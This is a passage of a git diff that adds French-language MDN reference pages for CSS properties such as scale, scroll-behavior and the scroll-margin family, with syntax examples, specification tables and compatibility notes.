+
+<ul>
+ <li>{{cssxref("@media")}},</li>
+ <li>{{cssxref("@supports")}},</li>
+ <li>{{cssxref("@document")}} <em>(qui a été reporté à la spécification de niveau 4).</em></li>
+</ul>
+
+<p>Chaque groupe conditionnel peut également contenir des instructions imbriquées. Il peut donc y avoir un nombre indéterminé de niveaux d'imbrication.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Définition</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Standardisation de <code>@-webkit-keyframes</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/scale/index.html b/files/fr/web/css/scale/index.html
new file mode 100644
index 0000000000..dfece432da
--- /dev/null
+++ b/files/fr/web/css/scale/index.html
@@ -0,0 +1,126 @@
+---
+title: scale
+slug: Web/CSS/scale
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scale
+---
+<div>{{CSSRef}}{{seecompattable}}</div>
+
+<p>La propriété <strong><code>scale</code></strong> permet de mise à l'échelle individuellement et indépendamment de la propriété {{cssxref("transform")}}. Cela peut être utile pour la construction d'une interface utilisateur et évite d'avoir à se souvenir de l'ordre exact des fonctions de transformations à indiquer pour <code>transform</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scale: none;
+
+/* Une seule valeur */
+/* Les valeurs supérieures à 1 agrandissent l'élément */
+scale: 2;
+/* Les valeurs inférieures à 1 rétrécissent l'élément */
+scale: 0.5;
+
+/* Deux valeurs */
+scale: 2 0.5;
+
+/* Trois valeurs */
+scale: 2 0.5 2;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>Une seule valeur de longueur/pourcentage</dt>
+ <dd>Une longueur ou un pourcentage qui définit une mise à l'échelle en deux dimensions. Le facteur utilisé est le même pour l'axe X et l'axe Y. Cela est équivalent à la fonction <code>scale()</code> (mise à l'échelle sur deux dimensions) avec une seule valeur.</dd>
+ <dt>Deux valeurs de longueur/pourcentage</dt>
+ <dd>Deux longueurs ou pourcentages qui définissent respectivement les composantes horizontale et verticale de l'agrandissement/rétrécissement en deux dimensions. Cela est équivalent à la fonction <code>scale()</code> appelée avec ces deux arguments.</dd>
+ <dt>Trois valeurs de longueur/pourcentage</dt>
+ <dd>Trois longueurs ou pourcentages qui définissent respectivement les composantes horizontale, verticale et en profondeur de la mise à l'échelle sur trois dimensions. Cela est équivalent à la fonction <code>scale3d()</code> appelée avec ces trois arguments.</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>Cette valeur indique qu'aucune mise à l'échelle ne devrait être appliquée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="scale"&gt;Scaling&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* {
+  box-sizing: border-box;
+}
+
+html {
+  font-family: sans-serif;
+}
+
+div {
+  width: 150px;
+  margin: 0 auto;
+}
+
+p {
+  padding: 10px 5px;
+  border: 3px solid black;
+  border-radius: 20px;
+  width: 150px;
+  font-size: 1.2rem;
+  text-align: center;
+}
+
+.scale {
+  transition: scale 1s;
+}
+
+div:hover .scale {
+  scale: 2 0.7;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#individual-transforms', 'individual transforms')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scale")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('translate')}}</li>
+ <li>{{cssxref('rotate')}}</li>
+ <li>{{cssxref('transform')}}</li>
+</ul>
diff --git a/files/fr/web/css/scroll-behavior/index.html b/files/fr/web/css/scroll-behavior/index.html
new file mode 100644
index 0000000000..75791bd495
--- /dev/null
+++ b/files/fr/web/css/scroll-behavior/index.html
@@ -0,0 +1,143 @@
+---
+title: scroll-behavior
+slug: Web/CSS/scroll-behavior
+tags:
+  - CSS
+  - CSSOM
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-behavior
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>scroll-behavior</code></strong> définit le comportement du défilement pour une boîte de défilement lorsque celui-ci provient de la navigation ou des API CSSOM.</p>
+
+<p>Pour les autres défilements, appliqués par l'utilisateur, cette propriété n'a aucun impact. Lorsque cette propriété est définie sur l'élément racine, elle s'applique à la zone d'affichage (<em>viewport</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-behavior.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les agents utilisateur peuvent choisir d'ignorer cette propriété. Lorsque cette propriété est indiquée sur l'élément <code>body</code>, elle ne se propage pas à la zone d'affichage (<em>viewport</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+scroll-behavior: auto;
+scroll-behavior: smooth;
+
+/* Valeurs globales */
+scroll-behavior: inherit;
+scroll-behavior: initial;
+scroll-behavior: unset;
+</pre>
+
+<p>La propriété <code>scroll-behavior</code> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La boîte de défilement progresse de façon instantanée.</dd>
+ <dt><code>smooth</code></dt>
+ <dd>Le défilement est doux et utilise une fonction de minutage définie par l'agent utilisateur pendant une période définie par l'agent utilisateur. Les agents utilisateur doivent respecter les conventions de la plate-forme s'il y en a.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  display: inline-block;
+  width: 50px;
+  text-decoration: none;
+}
+nav, scroll-container {
+  display: block;
+  margin: 0 auto;
+  text-align: center;
+}
+nav {
+  width: 339px;
+  padding: 5px;
+  border: 1px solid black;
+}
+scroll-container {
+  display: block;
+  width: 350px;
+  height: 200px;
+  overflow-y: scroll;
+  scroll-behavior: smooth;
+}
+scroll-page {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  height: 100%;
+  font-size: 5em;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;nav&gt;
+  &lt;a href="#page-1"&gt;1&lt;/a&gt;
+  &lt;a href="#page-2"&gt;2&lt;/a&gt;
+  &lt;a href="#page-3"&gt;3&lt;/a&gt;
+&lt;/nav&gt;
+&lt;scroll-container&gt;
+  &lt;scroll-page id="page-1"&gt;1&lt;/scroll-page&gt;
+  &lt;scroll-page id="page-2"&gt;2&lt;/scroll-page&gt;
+  &lt;scroll-page id="page-3"&gt;3&lt;/scroll-page&gt;
+&lt;/scroll-container&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 250)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p><a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_vestibulaire">Les troubles du système vestibulaires</a> peuvent être causés par la maladie, l'âge ou des blessures. Ces troubles entraînent des vertiges, fatigues et nausées suite aux mouvements.</p>
+
+<p>En utilisant la caractéristique média <code>prefers-reduced-motion</code>, on peut désactiver le défilement instantanné pour les utilisateurs qui ont paramétré leur système/navigateur afin de réduire les animations et mouvements :</p>
+
+<pre class="brush: css">html {
+  scroll-behavior: smooth;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  html {
+    scroll-behavior: auto;
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', "#propdef-scroll-behavior", 'scroll-behavior')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-behavior")}}</p>
diff --git a/files/fr/web/css/scroll-margin-block-end/index.html b/files/fr/web/css/scroll-margin-block-end/index.html
new file mode 100644
index 0000000000..db70841cd0
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-block-end/index.html
@@ -0,0 +1,68 @@
+---
+title: scroll-margin-block-end
+slug: Web/CSS/scroll-margin-block-end
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-margin-block-end
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-block-end</code></strong> définit la marge de défilement de l'élément sur la fin de l'axe de bloc. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-block-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-block-end: 10px;
+scroll-margin-block-end: 1em;
+
+/* Valeurs globales */
+scroll-margin-block-end: inherit;
+scroll-margin-block-end: initial;
+scroll-margin-block-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-block-end", "scroll-margin-block-end")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-block-end")}}</p>
diff --git a/files/fr/web/css/scroll-margin-block-start/index.html b/files/fr/web/css/scroll-margin-block-start/index.html
new file mode 100644
index 0000000000..58a7dcf83a
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-block-start/index.html
@@ -0,0 +1,69 @@
+---
+title: scroll-margin-block-start
+slug: Web/CSS/scroll-margin-block-start
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-margin-block-start
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-block-start</code></strong> définit la marge de défilement de l'élément sur le début de l'axe de bloc. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-block-start.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-block-start: 10px;
+scroll-margin-block-start: 1em;
+
+/* Valeurs globales */
+scroll-margin-block-start: inherit;
+scroll-margin-block-start: initial;
+scroll-margin-block-start: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-block-start", "scroll-margin-block-start")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-block-start")}}</p>
diff --git a/files/fr/web/css/scroll-margin-block/index.html b/files/fr/web/css/scroll-margin-block/index.html
new file mode 100644
index 0000000000..e032413d5b
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-block/index.html
@@ -0,0 +1,71 @@
+---
+title: scroll-margin-block
+slug: Web/CSS/scroll-margin-block
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/scroll-margin-block
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-block</code></strong> est une propriété raccourcie logique qui définit les marges de défilement sur l'axe de bloc (i.e. les propriétés logiques <code>scroll-margin-block-start</code> et <code>scroll-margin-block-end</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-block.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les valeurs des marges de défilement correspondent aux décalages entre la zone qui est utilisée pour définir les limites du défilement de la boîtes et la zone de défilement normale (<em>snapport</em>). La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-block: 10px;
+scroll-margin-block: 1em .5em;
+
+/* Valeurs globales */
+scroll-margin-block: inherit;
+scroll-margin-block: initial;
+scroll-margin-block: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-block", "scroll-margin-block")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-block")}}</p>
diff --git a/files/fr/web/css/scroll-margin-bottom/index.html b/files/fr/web/css/scroll-margin-bottom/index.html
new file mode 100644
index 0000000000..53c85231a0
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-bottom/index.html
@@ -0,0 +1,69 @@
+---
+title: scroll-margin-bottom
+slug: Web/CSS/scroll-margin-bottom
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-margin-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-bottom</code></strong> définit la marge de défilement de l'élément sur le côté bas. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-bottom.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-bottom: 10px;
+scroll-margin-bottom: 1em;
+
+/* Valeurs globales */
+scroll-margin-bottom: inherit;
+scroll-margin-bottom: initial;
+scroll-margin-bottom: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-bottom", "scroll-margin-bottom")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-bottom")}}</p>
diff --git a/files/fr/web/css/scroll-margin-inline-end/index.html b/files/fr/web/css/scroll-margin-inline-end/index.html
new file mode 100644
index 0000000000..91062d05bf
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-inline-end/index.html
@@ -0,0 +1,69 @@
+---
+title: scroll-margin-inline-end
+slug: Web/CSS/scroll-margin-inline-end
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-margin-inline-end
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-inline-end</code></strong> définit la marge de défilement de l'élément sur la fin de l'axe en ligne. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-inline-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-inline-end: 10px;
+scroll-margin-inline-end: 1em;
+
+/* Valeurs globales */
+scroll-margin-inline-end: inherit;
+scroll-margin-inline-end: initial;
+scroll-margin-inline-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-inline-end", "scroll-margin-inline-end")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-inline-end")}}</p>
diff --git a/files/fr/web/css/scroll-margin-inline-start/index.html b/files/fr/web/css/scroll-margin-inline-start/index.html
new file mode 100644
index 0000000000..eed1eb99f3
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-inline-start/index.html
@@ -0,0 +1,69 @@
+---
+title: scroll-margin-inline-start
+slug: Web/CSS/scroll-margin-inline-start
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-margin-inline-start
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-inline-start</code></strong> définit la marge de défilement de l'élément sur le début de l'axe en ligne. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-inline-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-inline-start: 10px;
+scroll-margin-inline-start: 1em;
+
+/* Valeurs globales */
+scroll-margin-inline-start: inherit;
+scroll-margin-inline-start: initial;
+scroll-margin-inline-start: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-inline-start", "scroll-margin-inline-start")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-inline-start")}}</p>
diff --git a/files/fr/web/css/scroll-margin-inline/index.html b/files/fr/web/css/scroll-margin-inline/index.html
new file mode 100644
index 0000000000..2f1d7507b4
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-inline/index.html
@@ -0,0 +1,67 @@
+---
+title: scroll-margin-inline
+slug: Web/CSS/scroll-margin-inline
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/scroll-margin-inline
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-inline</code></strong> est une propriété raccourcie logique qui définit les marges de défilement sur l'axe de bloc (i.e. les propriétés logiques <code>scroll-margin-inline-start</code> et <code>scroll-margin-inline-end</code>).</p>
+
+<p>Les valeurs des marges de défilement correspondent aux décalages entre la zone qui est utilisée pour définir les limites du défilement de la boîtes et la zone de défilement normale (<em>snapport</em>). La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-inline: 10px;
+scroll-margin-inline: 1em .5em;
+
+/* Valeurs globales */
+scroll-margin-inline: inherit;
+scroll-margin-inline: initial;
+scroll-margin-inline: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-inline", "scroll-margin-inline")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-inline")}}</p>
diff --git a/files/fr/web/css/scroll-margin-left/index.html b/files/fr/web/css/scroll-margin-left/index.html
new file mode 100644
